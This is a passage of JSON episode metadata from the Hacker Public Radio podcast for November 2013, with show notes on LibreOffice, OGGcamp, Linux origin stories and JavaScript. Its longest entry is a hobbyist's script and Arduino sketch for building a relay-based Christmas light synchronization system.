      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1626,"valid":1}, {"id":1376,"date":"2013-11-11","title":"How Should We Then Teach the Art of Computing?","duration":2120,"summary":"Teaching specific packages versus the Art of Computing","notes":"In this episode Klaatu discusses the Art of Computing.","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"teaching,computing,\"generic solutions\",\"problem solving\"","version":0,"downloads":1672,"valid":1}, {"id":1377,"date":"2013-11-12","title":"Zareason ZaTab 2 Android Tablet","duration":1415,"summary":"Frank Bell discusses the Zareason ZaTab ZT2 Tablet, an open, rooted Android tablet.","notes":"\n

      \nFrank Bell discusses the Zareason ZaTab ZT2 Tablet, an open, rooted Android tablet. \n

      \n

      \nZaTab 2 on the web: https://zareason.com/shop/ZaTab-ZT2.html \n

      \n

      \nTWUUG Handout about the ZaTab 2 (PDF): https://pineviewfarm.net/misc/HO_TWUUG_ZaTab.pdf\n

      ","hostid":195,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Tablet,Android,Zareason","version":0,"downloads":1623,"valid":1}, {"id":1378,"date":"2013-11-13","title":"Day one of interviews from OGGcamp 13. ","duration":1438,"summary":"First set of interviews from OGGcamp 13, conducted by some of the HPR hosts who attended","notes":"

      \nDay one of interviews from OGGcamp 13. \n

      \n\n

      Pics:

      \n\n","hostid":109,"series":62,"explicit":0,"license":"CC-BY-SA","tags":"oggcamp,oggcamp13,interviews","version":0,"downloads":1489,"valid":1}, {"id":1379,"date":"2013-11-14","title":"Day two of interviews from OGGcamp 13. ","duration":1478,"summary":"Second set of interviews from OGGcamp 13, conducted by some of the attendees","notes":"

      \nDay two of interviews from OGGcamp 13. \n

      \n\n

      Pics:

      \n\n","hostid":109,"series":62,"explicit":0,"license":"CC-BY-SA","tags":"oggcamp,oggcamp13,interviews","version":0,"downloads":1445,"valid":1}, {"id":1380,"date":"2013-11-15","title":"OGGCamp13 Bonus Track","duration":2652,"summary":"Four grown men ironing in a tiny hotel room - making HPR t-shirts","notes":"

      \"OGGcamp, I was there, it was a fight.\" -Theru

      \n

      If you want to hear four grown men ironing in a tiny hotel room, this is for you. This was a recording made while Navigium, Timttmy, Theru, and NYbill ruined... I mean made OGGcamp13 HPR shirts an hour before doors opened on Saturday.

      \n

      Pics:

      \n ","hostid":109,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp,oggcamp13,ironing","version":0,"downloads":1515,"valid":1}, {"id":1381,"date":"2013-11-18","title":"How We Found Linux","duration":3432,"summary":"Kevin Wisher and Honkey Magoo each discuss their journey to Linux","notes":"

      \nhttps://en.wikipedia.org/wiki/IBM_Portable_Personal_Computer\n

      \n

      \nhttps://en.wikipedia.org/wiki/Texas_Instruments_TI-99/4A\n

      \n

      \nhttps://en.wikipedia.org/wiki/Freespire\n

      ","hostid":265,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"TRS-80,\"IBM portable PC\",modem,\"Texas Instruments TI-99/4A\",\"Fedora Core\",Freespire,\"Linux Mint\",Manjaro,Debian,MythTV","version":0,"downloads":1560,"valid":1}, {"id":1382,"date":"2013-11-19","title":"Interview with Dave Hingley","duration":1415,"summary":"Interview with Dave Hingley from www.titaniumbunker.com, about #OggCamp, linux and hardware issues.","notes":"

      \nIn this episode Mike Hingley interviews his brother after oggcamp 2013 (www.oggcamp.org), and Dave talks about linux and hardware problems.\n

      \n

      Links

      \n

      \nTitanium Bunker: https://www.titaniumbunker.com/\n

      \n

      \nOggCamp: https://oggcamp.org/\n

      \n","hostid":185,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"OggCamp,presentation,Ubuntu,\"slide projector\"","version":0,"downloads":1413,"valid":1}, {"id":1383,"date":"2013-11-20","title":"HPR Community News for October 2013","duration":2962,"summary":"HPR Community News for October 2013","notes":"

      New hosts

      \n

      Welcome to our new hosts: David Willson, Neandergeek, Tony Pelaez, and Richard Hughes.

      \n

      Show Updates

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      iddatetitlehost
      13472013-10-01LinuxJAZZ#4Bariman
      13482013-10-02FuseMrX
      13492013-10-03Melissa Dupreast helps me with Audio CompressionJon Kulp
      13502013-10-04The Origin of ONICS (My Intro)Gabriel Evenfire
      13512013-10-07HPR Community News For August 2013HPR Admins
      13522013-10-08Stanford marshmallow experimentZachary De Santos
      13532013-10-09Practical Math - Introduction to UnitsCharles in NJ
      13542013-10-10Wayne GreenMrGadgets
      13552013-10-11LibreOffice 13 Writer A Bullet Style DeconstructedAhuka
      13562013-10-14So, you've just installed Arch Linux, now what? Arch Lessons from a Newbie, Ep. 01FiftyOneFifty
      13572013-10-15Whats in my bag, and other storiesJames Michael DuPont (h4ck3rm1k3)
      13582013-10-16how to set up GnuPG, a PGP-compliant encryptionklaatu
      13592013-10-17PipesMatt McGraw (g33kdad)
      13602013-10-18HPR Community News For September2013HPR Admins
      13612013-10-21SFS and Linux CampDavid Willson
      13622013-10-22Fixing a bad RSS feedDave Morriss
      13632013-10-23Some pacman Tips By Way of Repacing NetworkManager With WICDFiftyOneFifty
      13642013-10-24Vintage Tech Iron Pay Phone Coin BoxFiftyOneFifty
      13652013-10-25LibreOffice 14 Writer A Numbered List Style DeconstructedAhuka
      13662013-10-28What I do with my Raspberry PiNeandergeek
      13672013-10-29I'm Sorry DanJezra
      13682013-10-30How to Fold a Fitted SheetJon Kulp
      13692013-10-31NaNoWriMo PrepHeisenbug
      \nStarted:  7 years, 6 months, 22 days ago\nRenamed HPR:  5 years, 3 months, 29 days ago\nTotal Shows:  1715\nTotal TWAT: 300\nTotal HPR:  1415\nHPR Hosts:  206\nNext free slot: 16\nHosts in Queue: 7\nShows in Queue: 15\nOctober Downloads: 101,572\nhttps://hackerpublicradio.org/report.bz2\n

      2013-14 New Years 24-hour show

      \n

      Hello All,
      \n
      We are roughly around 10 weeks away from the next 24-hour New Year's show. This a call out for all parties who are interested in helping with this year's show. We mainly need to make arrangements for a Mumble server and a few streaming servers. If you have any of these resources available then please send me your name, email address, available resources, and a day/time that is convenient for you to meet on-line on a Mumble server for organizational purposes.
      \n
      Thank you,
      \n
      Kwisher on IRC
      kevin dot wisher at gmail dot com

      \n

      Other News

      \n
        \n
      • Request for Ahuka - doing car payments as an example
      • \n
      • Queue Management/Disposing of current backup shows
        \"It was scary to me that there are only two shows in the queue, until I realized that there are 13 shows in the backup queue.\"
      • \n
      • Worst of as a backup show - not in line with HPR philosophy
      • \n
      • Updated Readme
      • \n
      • George, asked for help deciding what to record
      • \n
      • Process of adding us to mail archive
      • \n
      • The free software song https://www.gnu.org/music/free-software-song.html
      • \n
      ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1411,"valid":1}, {"id":1384,"date":"2013-11-21","title":"How I Got Into Linux and OSS","duration":663,"summary":"New HPR podcaster Keith Murray shares how he came to the Linux and OSS world.","notes":"

      \nIt seems that telling the tale of how you came to be an active user of Linux or open source software has become the de facto first show topic, so here's my story. I hope this slightly different take on the how-I-came-to-Linux story will be of some interest to you. If you're interested in any of the other things I do you can find me on twitter @kdmurray (https://twitter.com/kdmurray) or on my blog at https://kdmurray.net/.\n

      \n\n

      Links

      \n\n","hostid":266,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"\"Red Hat\",Audacity,Notepad++,Windows7,Ubuntu","version":0,"downloads":1566,"valid":1}, {"id":1385,"date":"2013-11-22","title":"LibreOffice 16 Writer Nested Lists Controlled via Styles","duration":1500,"summary":"Controlling nested lists with styles in LibreOffice Writer","notes":"

      In this episode of our LibreOffice series take the Nested lists and see how we can control them using Styles.

      \n\n

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1639,"valid":1}, {"id":1386,"date":"2013-11-25","title":"Hacking Public Policy: The Underground Press","duration":4507,"summary":"An exploration on how to hack public policy","notes":"

      \nIn this Hacker Public Radio episode Bob Tregilus continues an exploration on how to hack public policy. Because outreach and education is so critical to building a successful movement, Tregilus talks to Ken Wachsberger of Lansing, Michigan, about the underground press of the late '60s and early '70s. Wachsberger was involved with the \"Joint Issue,\" an underground paper serving southeastern Michigan.\n

      \n

      \nQuestions addressed and answered include:\n

      \n\n
        \n
      1. The history of the underground press.\n
      2. \n
      3. Constraints on leisure time in the '60s vs. the 2000s.\n
      4. \n
      5. Differences between the underground press, the alternative press, and the corporate press.\n
      6. \n
      7. Community organizing in the '60s vs. the 2000s.\n
      8. \n
      9. Social issues of the '60s vs. the 2000s.\n
      10. \n
      11. And more!\n
      12. \n
      \n\n

      \nHost: Bob Tregilus\n

      \n\n\n\n

      \nGuest: Ken Wachsberger\n

      \n\n\n\n

      \nOther resources mentioned are:\n

      \n\n
        \n
      • Independent Voices is a four-year project to digitize over 1 million pages from the magazines, journals and newspapers of the alternative press archives of participating libraries: <https://www.revealdigital.com/>.\n
      • \n
      ","hostid":251,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"public policy, media, underground press, alternative press, outreach, education, activism, radicalism, community organizing","version":0,"downloads":1539,"valid":1}, {"id":1387,"date":"2013-11-26","title":"Christmas Light Synchronization","duration":1835,"summary":"Christmas Holiday Light synchronization","notes":"

      Hello hacker public radio

      \n

      I have wanted to contribute to HPR for several months now. I find it annoying and pointless to create a script to read off. But after several attempts of trying to recording my self blathering on with stuttering, cursing, air gaps, and humming I had to script my episode. In this episode I would like to talk about building a Christmas light synchronization system.

      \n

      I had first seen someone's home brew system years ago synchronized to music by the trans-Siberian orchestra. I was immediately mesmerized and went to work on figuring out how it was done.

      \n

      I have had a fair amount of experience with fabrication and electricity over the years. However I really only know how to maintain systems that have already been engineered and fully vetted by others. My exploration led me to first find all of the unreliable sources and then on to the sites that leave out the magic step into getting their system to work. Truly reliable sources were scarce.

      \n

      Frustrated with what I was finding, I gave up and my time was consumed with remodelling our home and moving to a different state into our new house.

      \n

      Last year I wanted to start another attempt at making a system but time was short and planning something like this during the holidays is extremely dumb.

      \n

      After the last holiday season and while putting away the holiday lights all I could think about is getting these lights synchronized for the next season. So I went back to the disinformation highway continuing my research.

      \n

      Although I was looking strictly for technical information personal information leaked through.

      \n

      The common theme amongst other people is to start planning for the next season in July. Starting to plan in January is a bad idea and all you will have is anguish when it comes time to deploy your show.

      \n

      Soon July came along and I argued with myself if I was really going to commit myself to doing this. From what I have read I can be reassured that there is no backing out once you start. Most people talk about what they are going to add to their system next year.

      \n

      So lets talk about the first step.

      \n

      Some sites will say \"GET AS MANY LIGHTS AS YOU CAN AS SOON AS POSSIBLE\"

      \n

      This theme seems like a logical step, but I don't know what I'm doing!

      \n

      I already have lots of lights, its not like I'm going to put up one hundred thousand lights this year. No my plans are to put up the same old lights I already have and incorporate them into the system and then grow from there.

      \n

      So if I already have some lights I need a new step one.

      \n

      Unfortunately most of the so called step by step lists don't agree on anything. So I chose what was most important just to get lights to work, even if I was never able to build my own synchronization system. The most important thing in any holiday lighting set-up is electricity. So that is the first thing I concentrated on. The front of my house has two outlets on two different circuits. One conveniently placed on the front porch, at the lowest spot on the porch with a plastic cover that is hinged to open upwards preventing direct line of sight when trying to plug an extension cord in. The second is behind a razor sharp ornamental grass bush. The two circuits are on 15 amp breakers and each outlet is installed with a ground fault circuit interrupter (GFCI). You make have seen these in your bathroom, they have a rest button and a test button. These circuits are not dedicated to these two outlets. They are connected to all of the rooms on the front side of the house. For me this simply will not do. Because when or if a breaker trips part of the house will go dark. Instead of fussing with these difficult circuits I decided to install two new circuits that would be exclusively dedicated for any out door lighting. My garage has a relatively empty breaker box so whatever I decide to do I'll have plenty of room to do it.

      \n

      With my mind on future needs I made a check list of what I wanted

      \n
        \n
      • # One. Two separate circuits
      • \n
      • # Two. 20 amps on each line
      • \n
      • # Three. The circuits need to terminate in two separate two gang boxes somewhere out in the yard where all the lights would connect to them.
      • \n
      And thats just what I did. From the breaker box I ran 12 gauge 3 wire (12/3) over head and down the wall into two separate junction boxes.

      A GFCI outlet is the first device connected from the home run between the breaker box and this junction box. So anything installed after this point will have GFCI protection. The second thing installed is a light switch that can create an open circuit to the power leaving the garage. I had thought about installing a digital timer instead of the light switches but the light switches are a cheap place holder until I make up my mind. the GFCI outlets and light switches are rated at 20 amps not 15. After the light switches, the circuits run out of the garage and are trenched about 30 inches below ground in PVC conduit. They reappear in a spot in the yard, terminated at the 2 gang outlets. This took quite sometime to do. All of my expenses are going into copper so the budget doesn't call for any machinery to help along the. So at this point regardless if I continue on with my adventures I should always have enough power just to run lights.

      \n

      As the month went on I stumbled across Instructables.com and found a few people actually showing their secret sauce. I probably spent a whole month reading and then rereading what they were doing. There were only about six people that truly knew how to make a synchronization system and they all had one thing in common, Arduino. Without even really knowing what an Aduino is, I knew this was going to be the key to getting a system of my very own! Without hesitation I linked over to adafruit and bought an Arduino Uno. Everyone else had one, so why shouldnt I?

      \n

      The Uno would only cost me $30 and I would be on my way to completing my goal. If you've never seen or heard of an Arduino they are credit card sized micro controllers that are made in Italy and are open sourced. The Arduino has one little hang up. Everything is programmed in C language. I know nothing of C or any real programming language. The only programing I have any experience with is HTML 1.0. These geriatric skills would not help me with the Arduino. Arduino helps you learn basic skills. You can read practice pages at Arduino.cc or you can use the Arduino examples built into their IDE software. The first tutorial I explored was the Blink command. The blink command you assign a name to the pin you want to use and then create a loop of turning the pin on and off, or HIGH and LOW. For me this was fun and now I am the lord of the blinks. I've been told that music is math. So I chose to experiment with this idea as my first arduino sketch. Arduino calls your program a sketch. So I found some sheet music with around eight notes. I printed the sheet music and then translated all of the notes into integers. Then I mapped the numbers to coordinate with the pins on ardunio. Uploaded the sketch and nothing happened.

      \n

      You cant see the electricity moving around on the Arduino, I need to do something to ensure the program is working. I run over to Radio Shack to try to remedy this hang up as soon as possible. Radio Shack carries Arduino parts, so I bought a prototyping board, resistors and LED's.

      \n

      LED's are great for flash lights and such. But when it comes to prototyping and experimenting LEDs are great indicators that circuits are working correctly. So I soldered up 8 leds, resistors and wires to the prototyping shield and placed the shield onto the Arduino.

      \n

      I plugged power into the Arduino in and the lights started blinking. I gave my self a mental high five and congratulated my brain on a job well done. This test was successful, it was time to move on to the next step. I had already been over on amazon browsing relays and found a company on there called SainSmart that has prebuilt relay modules. I picked out a module that had 8 relays on it. This module was about $9 and I didn't think that I would be able to build something as nice as this for the same price. What I did next is sloppy and dangerous. Don't do this, I did it because I was following other peoples' instructions. People think its OK to run 120v into shoe boxes or clear rubber made totes. I did mine in an $8 home depot tool box. I wired everything up correctly and tested the system. I was able to get 8 strings of light to blink but I wasn't very happy with what I had. My idea for making the sequence, looked nice when it was only 8 leds blinking in a two by two inch square. Translate that to strings with 100 bulbs and it doesn't look sequenced. In-fact it looks like a sloppy attempt at being random. Maybe even call it laggy. it was bad.

      \n

      I left out everything I had to do to get the system working because I don't want anyone to do this. Seriously don't run push high voltage into cheap plastic products. It's dumb and dangerous, I did it for you, so you don't have to.

      \n

      However this first experiment passed all of my tests and filled in all the gaps in my mind. I know exactly what to do now and I'll cover my new box in detail. I suppose I skipped over what a relay is. You can think of a relay as an electromechanical light switch. They use direct current to drive a magnet to mechanically move an internal switch to create an open or closed circuit. These are the the devices that make it physically possible to synchronize a light show. While running my first prototype system a blue genie escaped from the board so I only have seven of eight relays working. It didn't bother me too much that one of them was broken because my plans are to build a larger system. I went back to Amazon again and this time purchased another eight relay module and then two sixteen relay modules. When talking about syncro systems a relay is called a channel, so with all my new hardware I now have enough to do 47 channels. The ardunio UNO only has 17 usable pins. So I needed to build multiple system or get a new controller. So I got a new controller. My new controller is still an Arduino, but instead of being the UNO it is now the MEGA. The MEGA is advertised to have 54 input/output ports. This more than enough to drive the relays I have. The issues of a proper enclosure is not trivial. This system contains high voltage and direct current electronics. I chose a Cantex twelve by twelve by six inch PVC junction box. The lid has six screws and a gasket to make the enclosure water tight.

      \n

      The box was fairly expensive at thirty dollars but made everything feel better. In my collection of spare parts and junk I found a fist full of stand-offs and screws that actually had the same thread spacing. I drilled holes in the box and screwed in the stand-offs once I had the relays and Arduino parts mounted the way I liked I removed the hardware only leaving the screws and stand-offs.

      \n

      Around all of the mounting hardware I used a combination of hot glue, silicone caulk and PVC cement to insulate the metal screws and to make their connections water tight. With the lid open and looking into the box the entire back side of the box fits the MEGA and two 16 relay modules. On the six inch side walls I was able to mount the eight relay modules. Before I mounted the relays for the last time I wired them up for high voltage. The relays have three set screws. The center screw is the common hot wire. For example from relay one I have a short 14 gauge wire running out of this screw and into a four port wire nut. Ideal makes a Push-In Wire connector that has 4 ports. The ports are bussed together and make for a cleaner install when compared to a standard twist wire nut. One push in connector can connect two relays and then jumper on to the next wire nut with two more relays, so on and so on. So there are 4 total relay modules and I connected all the common hots among all of them this way. When it came to the 16 relay modules I used tall standoffs so I could hide all this wire under them. So these connections are a little bit longer. The set screws in these modules can only handle up to 14 gauge wire. So thats what I used throughout. Before placing the modules you need to look at the other two set screws and make a decision. to the right of the common hot is the open side and to the left of the common hot is the closed side. At this point you have to think about your Christmas lights. Do you want them to be off all the time and have the relays turn them on to create your sequence. Your default state will be to have a dark yard. I chose to have them on at all times and I was going to create sequences where I would be turning them off. So even if nothing is happening the default state will be that my yard will be bright with lights. I also chose this way because if something breaks along the way I don't have to run out and re plug everything just to have lights on. But be careful as this will become confusing as we go along, its inverted from tradition thinking. With the relays wired with common hots, I installed them into the box and screwed them in. After that I tied the modules hots together. But made it more complicated than it needed to be. For some dumb reason I decided to load balance my box. Two relays per circuit. Back to my power, I ran two lines A and B. In side my box I made it so there was an A and B side too. Honestly everything can be tied together and it won't stress the system out the slightest. All it does is makes things more complicated. The next thing I did was connect all of the DC cables in the system. I created connectors from bits and parts laying around. Old IDE cables are nice for this. I wanted a completely modular system in case anything failed. So nothing is hard-wired soldered. I started out on the MEGA with Pin 22 and wired one pin to one relay pin. over and over again 47 times.

      \n

      Then I created a power distribution board that distributes 12 volts to all of the relays and Arduino. I fitted everything up and ensured that everything fit and I had good connections. Then pulled the MEGA back out. Even though I have the relays in a box and all the hardware is connected the Mega has never been powered on. Its still dumb and doesn't know what it's supposed to be doing. Earlier I was talking about using sheet music to make a sequence and how that's a bad idea. I needed a new way to make blinky blinky. I found some popular windows software called Vixen Lights. Vixen is extremely granular lighting synchronization software. To the best of my knowledge it only works under Windows, although I have been trying to get it to work in WINE. Someday I'll get this to work. When you get Vixen up and running the screen looks like a spreadsheet, full of cells. Each cell represents time on a channel, double click the cell to turn it on or off. Some estimate that it could take several hours to synchronize three minutes of music. I'm not really concerned about making a sequence at this time. I move on because its more important to get a completed box in my mind. So let me help you spend some more money. When using Vixen the Ardunio needs to be connected to your computer via a USB cable. You'll configure Vixen to send serial to the com port that Ardunio is connected to. I have spare computers. But installing windows xp on a box and getting it configured is extremely annoying in its self. Then figuring out how to put a desktop in the yard adds to pointlessness. Some people might jump on the wifi bandwagon. There are to many devices on my network and I really don't want a power system to be available to the Internet. Plus why would you want your lights to be remotely operated like this. If you're not home why do you care if your lights are on or off. I'm doing this for me. The challenge is to eliminate the USB cable and keep it off the Internet.

      \n

      I found out about wireless radios called xbee's. They are expensive, but do exactly what I want. They create a wireless serial connection at 9600 baud. When you're out shopping for your own there are two different types of xbee's. S1 and S2. I believe the S2's are also called zigbees and you can make them more secure than the S1. I ordered the wrong ones, I ordered the S1's. The S1's are extremely easy to set up. But to set them up you need more hardware. I ordered a majority of my hardware from Adafruit. So along with two xbees, I also got two xbee adapter kits and one FTDI cable. After building the adapter kits and plugging in the xbees I wired one of them into the Ardunio. For the Arduino side all you need is four wires. Ground, five volt power, transmit, and receive. The Uno has one TX/RX connection while the Mega has four. This doesn't matter since all Ardunio needs to do is listen. On your computer all you need to do is plug in the xbee using the FTDI. It is recognized as serial I believe in both Windows and Linux no drivers were needed to make it work. The only computer configuration needed is changing in Vixen, you need to tell Vixen what port it needs to use to send serial commands. But before you test this, you need to give your Arduino instructions. Here is the sketch I created for my system:

      \nint C1 = 2;\nint C2 = 3;\nint C3 = 4;\nint C4 = 5;\nint C5 = 6;\nint C6 = 7;\nint C7 = 8;\nint C8 = 9;\nint C9 = 10;\nint C10 = 11;\nint C11 = 12;\nint C12 = 13;\nint C13 = 22;\nint C14 = 23;\nint C15 = 24;\nint C16 = 25;\nint C17 = 26;\nint C18 = 27;\nint C19 = 28;\nint C20 = 29;\nint C21 = 30;\nint C22 = 31;\nint C23 = 32;\nint C24 = 33;\nint C25 = 34;\nint C26 = 35;\nint C27 = 36;\nint C28 = 37;\nint C29 = 38;\nint C30 = 39;\nint C31 = 40;\nint C32 = 41;\nint C33 = 42;\nint C34 = 43;\nint C35 = 44;\nint C36 = 45;\nint C37 = 46;\nint C38 = 47;\nint C39 = 48;\nint C40 = 49;\nint C41 = 50;\nint C42 = 51;\nint C43 = 52;\nint C44 = 53;\nint C45 = 54;\nint C46 = 55;\nint C47 = 56;\nint i = 0;\nint incomingByte[47];\nvoid setup()\n{\nSerial.begin(9600);\npinMode(C1, OUTPUT);\npinMode(C2, OUTPUT);\npinMode(C3, OUTPUT);\npinMode(C4, OUTPUT);\npinMode(C5, OUTPUT);\npinMode(C6, OUTPUT);\npinMode(C7, OUTPUT);\npinMode(C8, OUTPUT);\npinMode(C9, OUTPUT);\npinMode(C10, OUTPUT);\npinMode(C11, OUTPUT);\npinMode(C12, OUTPUT);\npinMode(C13, OUTPUT);\npinMode(C14, OUTPUT);\npinMode(C15, OUTPUT);\npinMode(C16, OUTPUT);\npinMode(C17, OUTPUT);\npinMode(C18, OUTPUT);\npinMode(C19, OUTPUT);\npinMode(C20, OUTPUT);\npinMode(C21, OUTPUT);\npinMode(C22, OUTPUT);\npinMode(C23, OUTPUT);\npinMode(C24, OUTPUT);\npinMode(C25, OUTPUT);\npinMode(C26, OUTPUT);\npinMode(C27, OUTPUT);\npinMode(C28, OUTPUT);\npinMode(C29, OUTPUT);\npinMode(C30, OUTPUT);\npinMode(C31, OUTPUT);\npinMode(C32, OUTPUT);\npinMode(C33, OUTPUT);\npinMode(C34, OUTPUT);\npinMode(C35, OUTPUT);\npinMode(C36, OUTPUT);\npinMode(C37, OUTPUT);\npinMode(C38, OUTPUT);\npinMode(C39, OUTPUT);\npinMode(C40, OUTPUT);\npinMode(C41, OUTPUT);\npinMode(C42, OUTPUT);\npinMode(C43, OUTPUT);\npinMode(C44, OUTPUT);\npinMode(C45, OUTPUT);\npinMode(C46, OUTPUT);\npinMode(C47, OUTPUT);\n}\nvoid loop()\n{\nif (Serial.available() >= 47) {\nfor (int i=0; i<=47; i++)\n{\nincomingByte[i] = Serial.read();\n}\ndigitalWrite(C1, incomingByte[0]);\ndigitalWrite(C2, incomingByte[1]);\ndigitalWrite(C3, incomingByte[2]);\ndigitalWrite(C4, incomingByte[3]);\ndigitalWrite(C5, incomingByte[4]);\ndigitalWrite(C6, incomingByte[5]);\ndigitalWrite(C7, incomingByte[6]);\ndigitalWrite(C8, incomingByte[7]);\ndigitalWrite(C9, incomingByte[8]);\ndigitalWrite(C10, incomingByte[9]);\ndigitalWrite(C11, incomingByte[10]);\ndigitalWrite(C12, incomingByte[11]);\ndigitalWrite(C13, incomingByte[12]);\ndigitalWrite(C14, incomingByte[13]);\ndigitalWrite(C15, incomingByte[14]);\ndigitalWrite(C16, incomingByte[15]);\ndigitalWrite(C17, incomingByte[16]);\ndigitalWrite(C18, incomingByte[17]);\ndigitalWrite(C19, incomingByte[18]);\ndigitalWrite(C20, incomingByte[19]);\ndigitalWrite(C21, incomingByte[20]);\ndigitalWrite(C22, incomingByte[21]);\ndigitalWrite(C23, incomingByte[22]);\ndigitalWrite(C24, incomingByte[23]);\ndigitalWrite(C25, incomingByte[24]);\ndigitalWrite(C26, incomingByte[25]);\ndigitalWrite(C27, incomingByte[26]);\ndigitalWrite(C28, incomingByte[27]);\ndigitalWrite(C29, incomingByte[28]);\ndigitalWrite(C30, incomingByte[29]);\ndigitalWrite(C31, incomingByte[30]);\ndigitalWrite(C32, incomingByte[31]);\ndigitalWrite(C33, incomingByte[32]);\ndigitalWrite(C34, incomingByte[33]);\ndigitalWrite(C35, incomingByte[34]);\ndigitalWrite(C36, incomingByte[35]);\ndigitalWrite(C37, incomingByte[36]);\ndigitalWrite(C38, incomingByte[37]);\ndigitalWrite(C39, incomingByte[38]);\ndigitalWrite(C40, incomingByte[39]);\ndigitalWrite(C41, incomingByte[40]);\ndigitalWrite(C42, incomingByte[41]);\ndigitalWrite(C43, incomingByte[42]);\ndigitalWrite(C44, incomingByte[43]);\ndigitalWrite(C45, incomingByte[44]);\ndigitalWrite(C46, incomingByte[45]);\ndigitalWrite(C47, incomingByte[46]);\n}\n}\n

      All the sketch really says is, listen to serial, take that info and do this. Upload the sketch using the USB cable plugged into your computer. I don't believe you can upload the sketch or make any changes to the sketch using xbee. Once I had this all setup, I built a 47 led array connected to the pins I want to use, plus the xbee. With a 9 volt battery and the Arduino, I tested this setup. My I created a one at a time sequence on my desktop and hit play. Immediately the lights started flashing. I walked away from the desktop antenna and I was able to venture about 100 feet from the antenna and maintain the signal. Everything is looking great.

      \n

      I didn't change a thing with the Arduio and placed it in the box and connected it to the relays. I connected up the DC system and then tested the relays one at a time. This part was fairly amusing, 47 relays clicking is funny for some reason. I also used this time to play with my multimeter, I tested every aspect of the system before moving on. Making sure the set screws worked as claimed and everything was connected correctly. This will be the last time you have easy access to all the hardware so it needs to be verified. The next step is wiring the relays to do work. So lets do some money math real quick. I have 47 channels. Outdoor outlet boxes are only two gang. If you break the tabs off your outlets you can put 4 channels in one outdoor PVC box. Lets say that since you didn't destroy one of your relays you would have 48. 48 divided by 4 is twelve. You need 12 outdoor PVC boxes. At roughly $7 per box at a minimum that cost $84. Then add onto that receptacle covers They generally cost about $14 each. 12 times 14 equals 168 dollars. 84 + 168 = 252 dollars! This doesn't cover the cost of wire, outlets, and PVC fittings. 250 dollars just for molded plastic seems wasteful.

      \n

      Its best practice to go with that method. I simply can not spend the money for that. Instead I went to the dollar store and bought enough green extension cords to complete my task. The extension cords are about 6 foot long. I cut about one third of the cable off of the male side. Since these extension cords are not solid core copper I stripped off a bit of the ends and twisted them before tinning the tips with solder. The relays have set screws and stranded wire doesn't make as nice of a connection as solid wire so by tinning the tips you're giving the screws something to bite onto. In conjunction with the extension cords I used electric glands to pass the wires through the wall of the junction box. I bought 6 of them and randomly divided all 47 extension cords through only 5 of them. The 6th one will be used for main power later on. As I installed the extension cords I labelled and color coordinated the female parts. And also hit it with the multimeter to double check my work. Once all the extension cords have been connected and verified, it's time to install the main power. In my junk pile I had about eight feet of 14/3 outdoor romex. I color coordinated both of these to indicate which one is A and B. There's nowhere to tie in the ground in this system, so I clipped that end off and then moved on to the white wires. I tied all of the neutrals together and then tested that with a multimeter, testing across the two furthest points ensuring a sure path. I used the same push-in connectors and several hot glue sticks to create a solid brick of push in connectors. Finally I tied the hot black wires into their sides and the system is complete. I ran a live test of the system a few weeks ago. I pulled out a few strings of lights and played around experimenting with the Vixen environment. I have a few ideas on how I would like to change the system but I haven't incorporated these ideas yet. What I would like to do is bring a raspberry pi in to remove my desktop. I found a program on SourceForge called Lumos. The creator claims that his program can play Vixen sequences via the command line in Linux. I would like to give this a try, or just get Vixen to work under Linux. I don't want to dedicate my main computer to perform this yearly task. I hope I have explained this clear enough. I don't participate in all the social media sites, but I do wear tinfoil hats. If you would like to reach me I hangout in the Podnutz Chat on freenode, my user name is Underruner. Thank you for listening.

      ","hostid":267,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Christmas,Holiday,Light,synchronization","version":0,"downloads":1517,"valid":1}, {"id":1388,"date":"2013-11-27","title":"JavaScript","duration":613,"summary":"Introduction to JavaScript, its origins, characteristics, and uses.","notes":"

      \nSigflup calls in a \"off the cuff\" episode about JavaScript from the Hospital. \n

      \n

      \nJavaScript
      \nFrom Wikipedia, the free encyclopedia\n

      \nJavaScript (JS) is an interpreted computer programming language. As part of web browsers, implementations allow client-side scripts to interact with the user, control the browser, communicate asynchronously, and alter the document content that is displayed. It has also become common in server-side programming, game development and the creation of desktop applications.
      \nJavaScript is a prototype-based scripting language with dynamic typing and has first-class functions. Its syntax was influenced by C. JavaScript copies many names and naming conventions from Java, but the two languages are otherwise unrelated and have very different semantics. The key design principles within JavaScript are taken from the Self and Scheme programming languages. It is a multi-paradigm language, supporting object-oriented, imperative, and functional programming styles.
      \nThe application of JavaScript to uses outside of web pages—for example, in PDF documents, site-specific browsers, and desktop widgets—is also significant. Newer and faster JavaScript VMs and frameworks built upon them (notably Node.js) have also increased the popularity of JavaScript for server-side web applications.
      \nJavaScript was formalized in the ECMAScript language standard and is primarily used as part of a web browser (client-side JavaScript). This enables programmatic access to computational objects within a host environment.\n

